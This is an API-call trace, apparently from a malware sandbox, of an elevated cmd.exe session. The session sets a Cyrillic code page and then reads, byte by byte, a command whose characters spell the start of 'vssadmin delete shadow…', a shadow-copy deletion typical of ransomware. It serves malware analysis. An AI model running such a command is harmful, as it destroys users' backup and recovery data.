hFindFile=0x225c00 | out: hFindFile=0x225c00) returned 1 [0203.639] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0x225c00 [0203.639] FindClose (in: hFindFile=0x225c00 | out: hFindFile=0x225c00) returned 1 [0203.640] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0203.640] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0203.640] GetConsoleTitleW (in: lpConsoleTitle=0x16f320, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0203.640] GetConsoleTitleW (in: lpConsoleTitle=0x229c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0203.640] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0203.640] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f098 | out: lpAttributeList=0x16f0d8, lpSize=0x16f098) returned 1 [0203.640] UpdateProcThreadAttribute (in: lpAttributeList=0x16f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f0d8, lpPreviousValue=0x0) returned 1 [0203.640] GetStartupInfoW (in: lpStartupInfo=0x16f1f0 | out: lpStartupInfo=0x16f1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0203.640] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0203.641] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0203.641] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16f110*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16f0c0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x16f0c0*(hProcess=0x54, hThread=0x50, dwProcessId=0x814, dwThreadId=0x6d8)) returned 1 [0203.740] CloseHandle (hObject=0x50) returned 1 [0203.740] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0203.740] GetEnvironmentStringsW () returned 0x22aa10* [0203.741] FreeEnvironmentStringsW (penv=0x22aa10) returned 1 [0203.741] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77860000 [0203.741] GetProcAddress (hModule=0x77860000, lpProcName="NtQueryInformationProcess") returned 0x778b14a0 [0203.741] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x16e9c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x16e9c8, ReturnLength=0x0) returned 0x0 [0203.741] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x16ea00, nSize=0x380, lpNumberOfBytesRead=0x16e9c0 | out: lpBuffer=0x16ea00*, lpNumberOfBytesRead=0x16e9c0*=0x380) returned 1 [0203.741] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0206.030] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x16f008 | out: lpExitCode=0x16f008*=0x0) returned 1 [0206.030] CloseHandle (hObject=0x54) returned 1 [0206.031] _vsnwprintf (in: _Buffer=0x16f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x16f018 | out: _Buffer="00000000") returned 8 [0206.031] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0206.032] GetEnvironmentStringsW () returned 0x22aa10* [0206.032] FreeEnvironmentStringsW (penv=0x22aa10) returned 1 [0206.032] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0206.032] GetEnvironmentStringsW () returned 0x22aa10* [0206.032] FreeEnvironmentStringsW (penv=0x22aa10) returned 1 [0206.032] DeleteProcThreadAttributeList (in: lpAttributeList=0x16f0d8 | out: lpAttributeList=0x16f0d8) [0206.203] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0206.203] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.203] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0206.203] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.203] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a63e194 | out: lpMode=0x4a63e194) returned 0 [0206.203] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.203] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a63e198 | out: lpMode=0x4a63e198) returned 0 [0206.203] GetConsoleOutputCP () returned 0x4e3 [0206.203] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a64bfe0 | out: lpCPInfo=0x4a64bfe0) returned 1 [0206.204] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0206.204] _vsnwprintf (in: _Buffer=0x4a656340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f538 | out: _Buffer="\r\n") returned 2 [0206.204] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.204] GetFileType (hFile=0xf4) returned 0x3 [0206.204] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.204] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0206.204] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x16f508, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f508*=0x2, lpOverlapped=0x0) returned 1 [0206.205] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0206.205] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a64c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0206.205] _vsnwprintf (in: _Buffer=0x4a63eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16f548 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0206.205] _vsnwprintf (in: _Buffer=0x4a63ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16f548 | out: _Buffer=">") returned 1 [0206.205] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.205] GetFileType (hFile=0xf4) returned 0x3 [0206.205] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.205] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0206.205] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x16f538, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f538*=0x26, lpOverlapped=0x0) returned 1 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] GetFileType (hFile=0xe8) returned 0x3 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.205] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.205] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.205] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.205] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.205] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.205] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.205] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.205] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.205] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.205] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0206.205] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.205] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0206.206] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.206] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.206] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 